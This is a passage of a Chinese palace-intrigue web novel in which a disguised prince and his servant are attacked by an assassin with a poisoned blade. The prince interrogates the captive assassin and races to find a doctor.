李婶再次见到吴怡,心中高兴,一边炒菜,一边说道:“吴怡啊,你知道了吧?真没想到,大人竟是……”李婶伸长了脖子看四周,“竟是个山尖上的人,啧啧啧,我真是修了八辈子的福分才能跟着大人去京城。还有我那儿子,真是傻人有傻福了,以后跟着大人,定是个有出息的。” 吴怡咯咯咯笑着,“李婶,你儿子聪明着呢。” 李婶欣慰地点点头,又嘱咐吴怡:“吴怡啊,以后咱们进了宫里,要好好给大人效力。你呀,千万不要乱跑了,那宫里规矩大,可不比外边啊。” 吴怡点点头,她知道李婶是为自己好。 吴怡心里暖洋洋的,对明天充满了希望。 第一百四十四章 阿大刺杀周启 - 风吹繁花散落时 - 红酒羊排 吴怡端着饭菜回到自己房间,“你怎么还在我房间?” 周启端坐,不急不躁说道:“你不知道吗?李博已经将整个客栈包下来,所以,就今天而言,所有的房间都是我的。” 吴怡并没有真的要赶周启出去,已经将饭菜放在了桌子上。 “瞧瞧,你这不是拿了两个人的饭食吗?” “李婶非让我给你端来,我一想,你整日发愁,辛苦了,得,我就也辛苦一下,可怜可怜你吧。” “越来越没规矩了。”周启见吴怡已经开始吃饭,便再次强调,“我可跟你说啊,我家里规矩大,我娘脾气也不好……” “知道了。”吴怡含着饭,含混不清地说:“你都说了八百回了!哎,我就纳闷了,你脾气不好是不是随了你娘了?不过你脾气都这么差了,你娘脾气还能差到哪去?” “妄议皇族,可是要被问罪的。” 吴怡噘着嘴,一个人生闷气。 周启伸手拍了拍吴怡的脑袋,“放心吧,你这脑袋,我看还是很结实的,一时半会掉不了。” 吴怡一边瞪周启,一边嚼着饭,“你把你家说的和龙潭虎穴一般,我都不想去了。” “你不去赚钱了?” 吴怡扭头看向旁边,“钱还是要赚的,就是以后得离你远点。” 周启轻声说道:“其实那天,你失踪不见了,我派出的人,没有一个人找到你。我就想,万一找不到,我该如何向李老四交代呢?万一找不到,我们,连一次正式的道别都没有。吴怡,那个时候,我还没有告诉你,我是谁。” “你是谁?你就是你啊。” “你知道我是个皇子,心里就一点也不怕吗?” “怕什么?” “我从小到大,所有人都怕我。因为在世人眼里,皇帝是真龙天子,天子一怒伏尸百万。而我,是天子的儿子,就算不是真龙,那也是只下山猛虎啊。老虎啊,可是会吃人的。” 吴怡突然笑了起来,身子都歪斜了。 “你笑什么?你不信?” “我信,我信。”吴怡收敛了笑容,端端正正坐好。 “周大人,你就算不是个皇子,也能吃人。”吴怡一本正经分析道:“你看啊,你脾气这么不好,翻脸比翻书还快,大家都怕你,那就是因为你,不是因为你爹,更不是因为你是个皇子。” 周启将信将疑,“是……是吗?” 吴怡郑重地点点头,“周大人,哦不,皇子大人,其实你笑起来挺好看的,做官嘛,也是很好的。就是有时候,我不知道你为什么,非要板着脸当坏人,让人望而远之。” 周启沉默良久,才悠悠说道:“所以我才羡慕你啊,如此清明。” “羡慕我?你个皇子羡慕我?皇子大人,你能别逗我了嘛。”吴怡好像突然想到什么,笑呵呵改口道:“不过你羡慕我是对的,我吴怡行走天下,什么苦没吃过?但是我,一直是个好人。你一个坏人,羡慕我一个好人,是应该的嘛。嘿嘿。” 周启被吴怡气笑,竟然一抱拳,“谢谢你啊,让我这个坏人,有一个向好人学习的机会。” 吴怡拍着周启的肩膀,咧着嘴笑道:“客气客气,这是我们好人应该做的。” 周启不再开玩笑,严肃说道:“吴怡,明天我们就要出发了,我最后再问你一次,你真的愿意和我一起回京,去宫里当宫女吗?” 吴怡无奈说道:“不去宫里还能怎么办呢?”吴怡单手握拳,敲了自己的脑袋一下,“都怪我太笨,我要是老实点,现在还在钱家赚十两银子的月例呢。大人,你不知道,那老夫人可是很喜欢我的,没准老夫人一高兴,给我再涨点工钱也是有可能的。可是现在呢,我在徽州算是混不下去了,那富得流油的好地方,我吴怡竟然没有能留下。”吴怡双手举过头顶,痛心疾首。 “周大人啊,你看看我,现在我爹,可是身患残疾。虽然你答应照顾我爹,还给我免除了一万多两银子的债务,我吴怡长这么大,虽然坑蒙拐骗,但我可是言出必行的,我说了会还你钱,我就一定会还的。 还有我爹,也总不能老让侍卫大哥照顾。等我赚够了钱,先还你,再把我爹接过来。 他以前总跟我说,徽州城啊,是富得流油,那京城呢,就是贵不可言。 我们以后若是能在京城安顿下来,也不错。” “我都跟你说了不用你还钱,还有你爹要怎么样生活,和你想怎么选择,是两回事。” “我根本没得选嘛。”吴怡有些不耐烦,“我又不是什么千金小姐,去哪里做工不是做呢,能有个安安稳稳的地方住着,到时候就发月例。我还犹豫什么呢?再说了,那可是宫里,你打小就住在那里,当然不觉得什么了,可我想,那皇宫里,一定金碧辉煌的吧?就是那种,叫人一看,就是很有钱的样子,嘿嘿,这样的好地方,我当然得去啦。” “那就成。” “等等,你不会是,不想带我去了吧?周大人?” “我之前,的确想过,要不,不带你去了。” “你!”吴怡激动地指着周启,却听周启说道:“宫里人事复杂,虽然我打算带你在身边,可有时候,世事难料,我怕会护不住你。” “打住打住,我觉得我还是离你远一点,要安全一些。再说了,我可是很讨人喜欢的,到了宫里,嘿嘿,吃的都是好东西,穿的也漂亮吧。我要是当了宫女,出去,谁敢欺负我。”吴怡站起身,一只脚踩在椅子上,从怀里一掏,手里虚握着,好像拿着一块牌子的样子,“我就从怀里掏出令牌,那些坏人,肯定闻风丧胆!”吴怡哈哈大笑起来。 周启也笑了起来,心想:这个吴怡,看来想了很多美事嘛。 “咚咚咚。” “何事?”周启问到。 “给客官送热水。” 吴怡笑得弯着腰,却还是一手抄起桌上的水壶往门口走去。 一开门,吴怡全身的汗毛都立了起来。 “啊!”吴怡惊叫起来,下意识将水壶丢了出去,转身就跑,“大人,快跑!” 门口那人一下子躲开,一个箭步冲进屋子,短剑在手,砍在吴怡胳膊上。 吴怡骤然被袭,脚下不稳,栽倒在地。 “咻!”得一声,一只弩箭发射出去,刺客手中的短剑隔挡开弩箭,“叮啷”弩箭掉在地上。 吴怡在地上爬行,她之所以大叫,是因为站在门口的不是别人,正是阿大。 吴怡已经爬到了周启所在的位置,她双膝跪地,没有受伤的胳膊够着桌面,以桌子为盾牌,只探出半个脑袋偷偷观察。 “咻咻咻……”周启全然不给阿大机会进屋,阿大却不管不顾,即使弩箭打在身上,阿大就像不知道疼一般。周启手中的弩箭,虽然经过改造,一次也只能装填五只,再次装填的空档,阿大已经冲进来,短剑直指周启。 “叫人啊!” “啊?” “叫人!” 吴怡终于反应过来,站起身来对着门外大喊道:“有刺客啊,快来人,有刺客!!!” 周启已经从椅子上站起来,与吴怡一退再退,两人抵在窗边,吴怡想要开窗,却发现窗户从外边被人锁死。 阿大露出狡猾的微笑,步步紧逼。 “救命啊!救命啊!有刺客,有刺客!李大人,和平大哥!连锁,李婶!快来人啊!” 吴怡喊得有些绝望之际,何平一刀砍来,与阿大打在了一处。 周启松了一口气,一把拉住吴怡,“怎么样?” 吴怡紧张异常,竟然没觉得疼。 周启一边看刺客的情况,一边问吴怡,“你胳膊,怎么样了?” “啊?我没事。” 吴怡看了一眼,鲜血已经阴透了衣裳。 周启见李博也带着侍卫赶来,刺客是插翅难逃了,便放下心来。 周启双手扶着吴怡,“来,这边来。” 吴怡被周启扶到床上,兵器还在叮叮当当响着,周启却旁若无人,仔细观察起吴怡的伤口。 周启看了半天,觉得不太对劲,便从靴子里掏出一把短匕首,挑开了吴怡的袖管。 “哎,你干嘛?” “别动!” 吴怡任由周启查看,脸却涨红了。 吴怡安慰周启道:“没事儿,上点药,过两天就好了。” 周启却觉得不容乐观,他突然想起来,“你刚才怎么知道他是刺客?” “我看见他了,就在张老板的家里,他要杀我,我才跑了。” “什么?”周启咻地站起来,“张海?” “是啊。” 周启觉得头皮发麻,大事不妙。 “怎么了?” “吴怡,张海明明已经逃脱,为什么带着张广拼死闯进我的圈套?吴怡,我一直觉得,张海不是来送死的。” “什么意思?” “他们假装刺杀张灵,两人皆死,让我放松警惕,派来这么一个我根本没有见过的人刺杀于我。可是这个人,就拿了把断剑来杀我?” 吴怡不明白,“你这是什么话?你是嫌人家没有杀死你?” 周启觉得这是透着奇怪,对着众人大呵一声,“留活口!” 第一百四十五章 吴怡中毒 - 风吹繁花散落时 - 红酒羊排 周启遇刺,吴怡被砍伤,张海以死换来的短暂守卫松懈,为阿大刺杀提供了可乘之机。 阿大好不容易等来的机会,一刀砍伤吴怡,幸亏周启随时携带一只小弩,两人僵持到了何平赶来救驾。 “留活口!”周启大呵一声。 吴怡见周启紧张万分,站起身安慰道:“我没事,这点小伤,过两天就好了。” 正说着,吴怡突然觉得天晕地旋,脚下一个没站稳,差点栽倒在地。 周启下意识双手去扶,“你怎么了?” 吴怡尴尬一笑,单手按着腿,“可能吓着了,双腿发软。” “赶紧坐下,赶紧坐下。” 吴怡全身瘫软,头脑发木,她使劲摇摇头,“怎么回事,有点晕。” “晕?”周启一听这话,觉得大事不妙,赶紧搭手号脉,“怎么这么乱啊。” 吴怡并不懂医理,尴尬一笑,“吓得呗,我这心脏砰砰砰的。倒叫大人见笑了。” 正说着,李博与何平已经带着众人将阿大拿下了。 “别动!”两个侍卫将双手擒住阿大的胳膊,将阿大按在地上,阿大怒不可遏,剑眉竖立。 李博一脚踹在阿大身上,“什么人?胆子不小啊!” 阿大被侍卫拉着,硬生生接了这一脚。刚刚打斗,阿大以一敌廿,早就伤痕累累。他面部扭曲,狞笑道:“要杀便杀,要剐变剐,何必多言!” 李博气的青筋暴起,周启却缓缓而来,轻轻拉开李博。 “你要杀的是我,如今你没能成功,我想张海在地下,终于含恨九泉了,多亏你呢,给我出了这么大一口恶气。” 阿大恶狠狠瞪着周启,“谁赢谁输,还不一定呢。” “哦?如今张海、张广已死,你被生擒,我实在看不出你还有什么本事翻案。 哼,你不会蠢到以为我三哥会为了三个已死之人跟我作对吧? 你信不信,你前脚死,他后脚就能跟你撇清关系,还干干净净,甚至一脚踩在你的三尺坟头上,吐上一口唾沫。” 阿大开怀大笑,“张海说你聪明睿智,天纵英才。如今一见,不过尔尔。” “这么说,是你们私自行动?那我可就更不明白了,刺杀皇子,对你们到底有什么好处?据我所知,张海和张广,不是没有为了利益,欺上瞒下,往自己腰包里装好处。 你们本就是利益联盟,离心离德,为何又如此同仇敌忾,我周启就这么招人恨?” 阿大一直瞪周启,眼睛已经通红了,“五皇子请放心,我一定会告诉你的。” 周启奇怪地看着阿大,而身后的吴怡早已眼神迷离,在她眼中,天地万物扭曲变形,周启的声音越来越远。 “噗通”一声,吴怡栽倒在地。 周启转身看吴怡,心头一紧,竟再次转身一把拉起阿大的领子,“你在短剑上下了毒?” “哈哈哈哈,五皇子,你不觉得自己知道的,太晚了吗?” 阿大字字透着阴险,“五皇子,心爱之人死于面前,你作何感想?” 周启回头看吴怡,她已经被连锁扶起来,脸色惨白。 “解药呢?解药呢?” “哼,五皇子,这药,没解药。” “你胡说!是药就有解药,你休想骗我!”周启动手翻找,阿大却头部用力,将周启撞开。 周启一个踉跄栽倒在地,李博赶紧来扶。 周启大喊道:“给我把他衣服扒了,我就不信,他还能不带解药!” 侍卫们三下两下拔干净阿大的衣衫,却一无所获。 “我既然来杀你,又没有想着活着离开,怎么会带解药呢,你就别白费力气了。” 周启心里一沉,“去找大夫,去找大夫!” 一个侍卫应声而出,阿大却笑道:“就是大罗神仙也难救此女,五皇子,你就看着你心爱之人去死吧!” 周启气的全身发抖,“你为什么这么恨我?我根本就有见过你,我们无冤无仇,若是你衷心张海,就该为他的家人考虑。” “他的家人?五皇子,你别装了,你明明知道,他的家人,因为你的缘故,没有了,你说他怎么能不恨你?” “我的缘故?”周启如坠云里,“他儿子不是病死的吗?与我何干?” 李博也想起这件事,张海被抓,在周启的指示下,他的家产全部被抄没,李博亲自执行,对往来书信,文字书籍尤为上心。 李博亲自找到的张海家书,上面写着张海的儿子久病难愈,不治身亡了。 只听阿大说道:“张海叫我告诉你,他的儿子一直有病,早就药石五灵了。他投靠了李天时,替三皇子敛财,每一天都是白花花的银子,他便不能得空回家探子。 他一再请求,三皇子才终于发了善心,说徽州之事步上正轨,就许他回家看孩子。 可是就是因为你,你一再破坏他的计划,让他在三皇子面前失了恩宠,回家探子的日子也是一拖再拖,最终错过了与儿子的最后一面。 五皇子,你说,张海应不应该恨你。” “他应该恨的,不是他自己吗?当他觉得给别人当工具的时候,他就没有选择的权利了,所有事情都要听人家摆布!张海是自己想走捷径,失去了父子之间的最后一面。” “哼,你倒会为自己开脱。” 周启觉得与这刺客就是话不投机半句多,“张广呢,他的家人真的在张海手里吧?他是被张海威胁?” 阿大竟大方承认,“不错。如今,张广为他的家人赢得了一丝活路,他也算死得其所了。” “那你呢?你年纪轻轻,与我无冤无仇,为何如此行事?” 阿大大义凛然,“我受张海恩惠,誓死孝忠。如今我完成了他的交代,阴曹地府相见,也算含笑九泉了。” “呵呵。”周启冷笑道:“你不知道吗,这世间有很多奇人异事,有人甚至可以行镇压之术,让你和张海永世不得超生!你们想含笑九泉?那本皇子就成全了你们,叫你们永远呆在阴诡地狱里!” “你敢如此行径,就不怕皇帝知道了,对你心生厌恶?五皇子,你不敢。” “那是你不了解我父皇,只要对他无碍,他才不管别人呢。” 阿大脊背发凉,这样的周启,真是令人不寒而栗。 不过阿大很快恢复了镇静,毕竟他在接受任务之时,早将生死置之度外,他看了一眼吴怡,“你的女人,马上就要死了,老子这辈子,对得起自己,也对得起他张海。” “你不是来杀我的?你是来杀吴怡的?” 阿大戏谑地看着周启,“你怎么才知道。张海要让你尝尝,失去爱人的滋味。” “你怎么知道吴怡在这?我碰见她,纯属巧合。” “五皇子,你有张良计我有过墙梯,你算计张海,张海也算计你。张海叫我告诉你,两军对垒,谁的情报多,谁就掌握主动。你从一开始就输了,因为你既不知道吴怡住在这客栈里,而你回京,并会碰见她。也不知道我是谁,你就从来没有见过我。五皇子,大意,可是会死人的。” 周启高昂着头,一手背后,一手放在身前,淡定说道:“那你可是没有完成张海的重托,吴怡,并非我心爱之人。他的算盘,没打响呀。” “哈哈哈哈。”阿大乐不可支,“你不承认也不要紧,那女人马上就死了,等她一死,你的心肯定很疼很疼,老子想想,都觉得高兴。哈哈哈哈。哈哈哈哈。” 周启一皱眉,抽出李博手中的刀就要砍了阿大,却听外边喊了一句,“大夫来了。” 周启没空搭理阿大,吩咐一声,“将他拉下去,严加看管,别叫他死了。” 那边,阿大被五花大绑捆在隔壁房间的椅子上以免逃跑,嘴中还塞了布条,以免咬舌自尽。 这边,所有人都围在一起,大夫生正在给吴怡号脉。 “大夫?” 周启见大夫连连摇头,紧张地问,“怎么样?她中的什么毒?” 大夫并没有回答,只是拿出银针试毒。 “哎呀,这毒真是猛,这位公子,要是这个姑娘不赶紧服用解药,活不过今天呐。” “那你赶紧配解药!” “公子,我才疏学浅,不知道这位姑娘中的什么毒呀。” “你不是大夫吗?” “这位公子有所不知,我们这里离徽州城很近的,那稍微好一点的大夫都去城里某差事去了,我呢,实在才疏学浅。况且,这乡下地方,从来无人中过这么猛烈的毒,我实在是无能为力。” 周启不想浪费时间,“赶紧,回徽州!” “公子啊公子,你可要三思呀。” “什么意思?” “这里离徽州城不远,但是这位姑娘已经毒发,路上若是颠婆,恐生变故。” “那…”周启急中生智,“李博,你赶紧,你赶紧回去,这毒的解药,一定就在张海家中!” “你怎么知道?” “这阿大是张海的心腹,他以死为阿大赢来的机会,毒药定会为他准备好,防止失败,功亏一篑。” “哦对对对!”李博一边说着一边往外走,“你们两个跟我一起回去找,何平、连锁,你们留下,护卫大人!” 周启心中燃起希望,“大夫,有没有什么方法,延缓毒发。” “这个嘛…” “哎呀!”周启再好的修养,碰见这样的赤脚大夫也是白搭。 周启一脚踹开旁边屋子的门,“你,解药呢?” 阿大自然一个字也不说。 “我知道,你不怕死,但这世上,有的是比死还难受的事情。” 周启眼神寒冷,从袖子里掏出一根小弩,狠狠插在阿大的伤口上,还使劲一拧。 “呃呃呃。”阿大青劲爆起,双眼通红,满是恨意。 “说,毒药叫什么名字?” “呃呃呃。” “解药在哪?” “呃呃呃。” “你不说我也知道,在张海家里是不是?他的家,本皇子如今想进去就如进无人之地,解药,本皇子一定会找出来。” “呵呵呵。” “来人。”周启一下将小弩拔出来,献血喷薄而出。 “拿着这个,在他身上随便捅,只要别死了,随便捅!” 侍卫接过小弩,阿大求生不能求死不得,只不断呜咽。 周启回到吴怡身边,所有人都已经散去,只有吴怡脸色惨白,安安静静躺着。 周启坐在床沿上,轻轻唤着,“吴怡,吴怡…” 第一百四十六章 千人千面 - 风吹繁花散落时 - 红酒羊排 夜幕来临,天空阴沉沉的,竟然下雪了。南方少有火盆,阴冷阴冷的。 周启拉着吴怡的手,冰冷异常。 “吴怡,吴怡?” 吴怡气息微弱,周启心如刀绞。 “吴怡,别害怕,李博已经回去找解药了,你一定要等他回来,一定要!” 说着,周启已经眼眶含泪,“都是我害了你,是我害了你。” 连锁见周启许久不许来,担心地前来劝解。 “五皇子,李大人定能找回解药,您也别太担心了。” 周启一言不发,他虽然叫李博去找解药,也当着刺客的面这么说了。可是张海是个狠人,他连自己的命都不要,怎么会给自己留下解药呢。而且他刚刚与刺客说要到张海家里找解药,那刺客竟毫不在意,面无慌色。 周启就知道,这解药不是那么好找的。 “主子,这天晚了,外边又下了雪,冷。您可要保重身体啊。” “下雪了吗?” “是啊,还挺大的,只是雪落无声,并不引人注意。但是天寒地冻,主子还是要小心伤了身子。” 周启眼眶湿润,“刚入冬的时候,吴怡曾经与我说过,山东的冬天冷着呢。大户人家,有那火盆火炕扛着,她家穷,住的地方,都是四面漏风,一到冬天,手脚生冻疮,那叫一个难熬。 只有下雪天,她和李老四就出门去玩雪,堆个雪人,和巷子里的孩子们打个雪仗,心里高兴,身上也暖和。 她还说,不知道徽州下不下雪,要是下了雪,恐怕也存不住,堆不成雪人打不成雪仗了。 我就说啊,下雪的时候我们就在京城了,京城的雪很大很厚实。我还跟她说,家里有能工巧匠,雪人堆得惟妙惟肖,要是她喜欢,我可以让他们放在冷库里一个,就算到了春天,雪人都不会化,若是夏天里,看那雪人,更是可亲可近。 吴怡。”周启看着吴怡,缓缓说道:“你明明还很期待的,如今这里都下了雪了,京城的雪应该更大才对,我们到了京城,就能堆雪人。 哦对了,你知道吗?宫里可暖和了。 这徽州城啊,冷,阴冷阴冷的,透着萧条。 可是京城就不一样了,宫里更不一样。宫里的大火炕,坐在上边,暖暖和和的。那火盆里,一个冬天都烧着上好的银丝碳,一点烟都没有,却红彤彤的,热气逼人。 还有那锅子,每顿饭都会上一个锅子,吃到胃里,也暖和。我想着,你这个小馋鬼,肯定爱吃的。” 一滴泪滑落下来,周启声音颤抖,“吴怡,起来呀,你起来,我带你回京去,我不让你宫女,我也再不欺负你了,再也不说你笨了,你醒过来好不好? 哦对了,我给你买个小院好不好?那个乖乖,被娉婷带回宫去了,你要是想养条狗,咱们就养条大的,既能看家护院,还能在院子里跑。就算将你爹接来,那大狗,还能给你爹解解闷呢。 吴怡,你起来好不好,你不是喜欢钱吗?在京城买个小院,可是得花不少银子呢,你要是看见了,还不得乐开了花?”周启笑了起来,“吴怡,你不是很想赚钱吗?这样躺着,可是赚不了钱啊。” 连锁站在旁边,见周启又哭又笑,心里难过。 “主子,吴怡她福大命大,等李大人找回了解药,吴怡定会转危为安,化险为夷。” 周启吸着鼻子,“连锁,你出去吧,我想一个人待会。” “主子。” “出去!” 连锁不敢多言,缓缓退去,何平站在门口护卫。 “五皇子怎么样?” 连锁摇摇头,他还从来没有见周启这样。在连锁眼中,周启一直高高在上,除了皇上皇后,周启心里也就有一个六公主而已,他对万事都不上心,更不把任何人放在心上。 连锁有时候觉得心寒,只是当奴才的,万没有挑主子理的,连锁对周启,是又敬又怕。 说白了,周启,是一个狠心的人,人情味,在周启身上,是半点没有。 可是在徽州,周启整日忙于公事,却也没事就与吴怡拆科打诨,还同意吴怡在府里养了一条野狗。 这一切,在宫里,是不可能发生的。 只是吴怡命苦,如今命悬一线,连锁眼中的周启也再次变得冰冷。 连锁当然希望吴怡能活下来,起码周启会开心。可是如今… “主子说想一个人呆着。” 何平点点头,“你去问问店家有没有火炭,我在这里守卫。” 连锁去后,何平也觉得心里不是滋味。 吴怡在衙门里当杂役,最开始大家也没人放在心上,不过是民间的小丫头,也许不等相熟就要分离了。 后来吴怡离开知府衙门投奔了钱记,何平也不过一笑了之,觉得吴怡身在福中不知福,根本不知道自己丢了西瓜捡芝麻。 可是后来,在土匪窝里,何平亲眼看见吴怡的惊恐,他才发现,这个平时嘻嘻哈哈的杂役也只是个小姑娘而已。 因为穷苦,不得不给人家当杂役伺候人,因为有个不靠谱的爹,她也不得不更努力地生活。 何平看着紧闭的房门,叹了一口气。 不过是个十七八岁的小丫头,跟着大人一年,什么惊心动魄的事情都经历了,什么苦也都吃了,这马上就要进宫了,怎么又碰上这么一档子事? 房内,周启还在与吴怡说话,可是吴怡一点反应都没有。 — 徽州城内,赶在城门关闭之前,李博一行人策马扬鞭而入。 张府早已空空荡荡,重要的东西早已抄走,剩下一地狼籍。 “大人,这里恐怕没有解药。” “我知道。” “那大人,我们赶紧去县衙,找信任县令。” 李博眉头紧锁,思虑良久。“你们两个在这里寻找,万一抄家之时有漏掉的东西,也好找到。” “那大人您?” 李博坐在高头大马上,目光坚定,“我去县衙找新任县令宋之和,调阅抄录的财产清单,那上边详细记载着被抄没的东西。若是有,找起来也方便,若是没有,找也白搭。” 说完,李博一拉缰绳,往县衙而去。 新任县令宋之和在任上接到调令,马不停蹄前来接任。到任之前,他早就听说这位平步青云的新科状元,本想讨教讨教学问,谁知他刚说完公事,转身就走,一句寒暄客套没有。 宋之和大失所望,“学问许是好的,人品嘛…不过也是,皇上让他当知府,他就兢兢业业,皇上让他当知县,他就辞官回家。这样的人,能是什么有用之才,懂得什么礼义廉耻?” 如今李博求见,宋之和自然推脱不见。 “我知道李大人是皇亲国戚,可我这小小县衙放不下这么大一尊大佛,不见不见,有事啊,明日衙门口,正大光明的说,这大半夜的,恕不奉客。” “宋大人好大的官威呀。” 李博不等请,自己就进来了。 “呦,这不是李大人嘛,下官这厢有礼了。哦不对不对,李大人自甘下流,成了那周大人的师爷。我朝天子,最是鄙视师爷,说他们下流狡诈,李师爷,请恕下官不能多礼了。” 李博哑然失笑,这位宋大人是个老学究,六十几岁的县太爷,本朝独一份,向来刚正迂腐。 “宋大人,你也不必揶揄我,我就来找宋大人借样东西。” “什么东西?” “张海被抄家,他家财的清单名录。” “不借。” “宋大人?” “李大人,不管你是皇亲国戚还是刑名师爷,都应该知道,这清单名录,不是随便什么人都能看的。如今周大人已经离任,李师爷也不是师爷了,你们都不能看这清单名录。” “哦?要是周大人回来,你也不给他看吗?” “不给。” “那要是本官以皇子伴读的身份要呢?” 宋之和不明所以看着李博,“李大人别说你是皇子伴读,就是一个皇子亲自到这里,也不行!” 李博笑了起来,“这可是你说的。” “我说的。” “宋大人呐,这话说出来容易,做起来可难。要是人家皇子来了,刀架在你脖子上,侍卫们分立两边,你好不给吗?到时候,你的狗胆还不吓破了!” “哼,李博,你是皇亲国戚,就算五皇子也只是皇子。你们这些贵人,无法无天惯了,可是你不要忘了,皇子上边,还有皇上,皇上上边还有我大周律例!” “好!”李博伸出一根大拇指,“宋大人,在下佩服!但愿宋大人能真的这么说这么做!” 说完,李博转身就走。倒叫宋之和丈二和尚,摸不著头脑。 “大人,大人!” 李博等三人勒住缰绳,三人对视,“找到了吗?” “大人,全找遍了,没有。大人这边呢?” 李博没有说话,只是摇摇头。 “大人,如今城门关了,我们如何出去禀告五皇子。” “只能等明天了。” “大人,吴怡可等不起呀。” “就算我们现在出去,还是没有解药,我们出不出去,又有什么关系?” 两个侍卫黯然,李博心情复杂,他根本没有找什么解药,即使宋之和不拦着,李博也打定了主意不拿解药回去救吴怡。 李博向客栈方向望去,心里说道:“吴怡,为了五皇子,只能你死了。你不要怪我,下辈子,你可千万不要遇到五皇子了,安安心心当你的老百姓,千万千万,不要再遇到什么坏人了。” 第一百四十七章 繁花散落(上) - 风吹繁花散落时 - 红酒羊排 “连锁,连锁!” “主子。”连锁正忙着找取暖的东西,听见周启招呼,赶紧跑进屋来。“主子,有何吩咐?” “备车,我要回徽州。” “回徽州?主子,外边天都黑了,还下了雪,实在不好走。” “叫你快去套车!快去!” 周启见吴怡的情况越来越差,不仅全完没有醒过来的迹象,还眉头紧锁,似乎很难受的样子。尤其吴怡已经气若游丝,恐怕撑不下去了。 而周启突然想到,天色已晚,徽州城恐怕已经封门闭城,就算李博找到了解药,也送不出来。 连锁听了周启的吩咐,不敢多言,急急去找店家接了马车,准备回徽州。 何平作为侍卫,不得不说,“五皇子,刚刚那个大夫说了,吴怡不宜挪动。” “躺在这里也是等死,回去,还有一线生机。” “五皇子,刚才我看过了,外边下的似是雨夹雪,路面湿滑。夜间赶路,实在不安全。” “我管不了那么多了,不能在这里坐以待毙。” “五皇子,就算现在回去,看见了徽州城门,也进不去呀!五皇子,您应该清楚,城门一关,除非兵马调动,国家受难,否则闯城之人,视为谋反。五皇子,这和宫里下钥后闯宫,是一样的道理。” “只要我亮出我皇子的身份,我看谁敢不让我进城。” “万万不可呀!”何平职责所在,只能极力劝阻,“五皇子您别忘了,在世人眼中,五皇子微服出访,行踪不定,是神龙见首不见尾。可是您要是回到那徽州城去,很多人都得会知道您的真实身份,万一出了什么事,您叫我如何向皇上、皇后娘娘交代呢。” 周启如困兽一般,大喊道:“我不用你交代!我自己知道我在干什么!” “五皇子!” 周启不再理会何平,冲着客栈外边喊道:“连锁,车套好没有?” “套好了套好了,主子,套好了。” 周启二话不说,自己去背吴怡,何平忧心忡忡,“五皇子,五皇子。” “给我让开!” 何平无言劝阻,只好帮周启扶着,“五皇子您小心,五皇子……” 周启已经顾不得许多,他分不清对吴怡的感情是内疚、担忧,还是什么别的,只是如今,根本没时间考虑这些。 马车一路颠簸,周启抱着吴怡,心里着急,马车遇到拐弯已经滑了两次,周启也不敢太催着赶路。 “吴怡,吴怡,徽州城到了,徽州到了!”周启掀开车帘子,“你看,徽州到了,里边有好大夫,我带你去看大夫。” 何平坐在马上,勒住缰绳,对着城头高声大喊,“快开城门,隰县县令在此,快开城门!” “何平,报我周启名号。” “五皇子,万万不可呀。” 周启觉得时间紧迫,将吴怡安置在车上躺好,竟自己挑帘子,站在车上,对着城墙高喊一声,“五皇子周启在此,快开城门!” 城头守军早听见了何平的呼喊,只是职责所在,别说是一个小小的县令,就算是敌国敌军来犯,他们也不会搭理。 当周启报出身份,一守军探出头看,心下狐疑,“这不是周大人吗?” “那当然是周大人了。”另一守军无奈说道,“也就你信,刚才那不是何平吗,这徽州城谁人不知谁人不晓,他是周大人家的看家护院。” “还真是。”正当守卫回身想继续去站岗之时,周启掏出令牌,“我乃大周嫡皇子周启,令牌在此,你们速开城门!” 守军探出脑袋查看,周启掏出小弩,将令牌挂在小弩上,射到城墙上去。 守军拔出小弩,金灿灿的令牌,上书:大周皇子 周启令 “呦,真是皇子令牌。” “你怎么知道真假?” “你掂量掂量,纯金的,你再看这花纹,是四只金龙,这是皇子专用图样。” “哎呦,这周大人怎么是皇子啊?” 一个守军一拍脑门,“可不咋的,姓周的嘛,那可是国姓,哎呦,赶紧,赶紧开城门呐。” 周启见城门大开,亲自驾车进入徽州。 —— 宋之和在睡梦中惊醒,当他得知五皇子驾临,而五皇子正是那前任属官,心中如翻江倒海,“这一晚上,怎么这么乱呐?” “大人,快接驾吧。” “接驾?哦对,接驾。哎,我上哪接驾啊?” “大人,那五皇子奔了钱记药铺了。” —— 此时的吴怡,已经安安静静躺在钱记药铺的病床上。 “上次给李老四看病的人呢?他人呢?” 店小二睡眼朦胧,听见动静出来,迷迷糊糊中,被周启扯住脖领子,“那天那个大夫呢?给李老师解毒的大夫!他人呢?” “大人是问杨大夫吗?老夫人病了,他去给老夫人看病了。” “老夫人?他在钱家?” 店小二点点头,“按照以往,杨大夫今晚上肯定是不回来了。” “还有没有其他的大夫?” “有一个,在后堂,不过要解毒,还是杨大夫最在行。” 周启推开店小二,“我去找,何平,在这里看着吴怡,连锁,去找李博。” 周启骑了何平的马直奔钱家,李博那边也已经接到消息,与宋之和一起到了钱记药铺门口。 “李大人。” “呦,这不是铁骨铮铮的宋大人吗?我还以为,您真能刚正不阿,不理五皇子呢。” 宋之和叫苦不迭,“李大人为何戏弄我?您要是找东西,直接说五皇子要的,下官还能真不给嘛。你瞧瞧,如今还叫五皇子亲自跑一趟,倒是我们做臣子的不尽本分了。” “宋大人哪里话,皇子不过就是个皇子,皇子上边还有皇帝陛下,皇帝陛下上边还有律法。” “李大人,何必如此?” “宋大人,我是皇子伴读,最是了解五皇子,宋大人刚正不阿,五皇子也会心生敬佩,不过宋大人若是嘴上说一套,背里做一套,那他,可是会心生厌恶。 宋大人,其实五皇子对你印象还不错,你不要,自掘坟墓呀。” 宋之和疑惑不解,只听李博说道:“谁都知道,我自幼陪伴五皇子,我李博是不会害他的。” 宋之和当然不是一个会巴结上官的人,要不他也不能一辈子都是个县令。 可周启毕竟是个皇子,再猖狂的书生也不会对皇家之人太过无礼。 宋之和半信半疑,与李博一起等五皇子回来。 — 钱家,周启亮出身份,所有人都惊呆了。 “钱老板,我来是找杨大夫的,请他跟我走一趟。” “周大…不是,五皇子。”钱万全一抱拳,“杨大夫就在客房休息,以防我娘有什么不测,既然五皇子要人,我们自然不敢不给,可是…” “有话快说。” “五皇子所救之人,必是贵人。我们徽州虽然也是人杰地灵,与宫里还是没得比,万一,哦我是说万一…还请五皇子莫要怪罪。” “钱万全,你的意思是说,我不怪罪,才能见到杨大夫?要是我存着日后怪罪的心,别说救命,就连杨大夫的面都见不到?” “不敢不敢,只是…” “钱万全!本皇子要的人,还没有要不到的!本皇子敬你是徽州商家表率,才亲自来请杨大夫,你若胆敢阻拦,本皇子即刻发兵,灭了你钱记!” 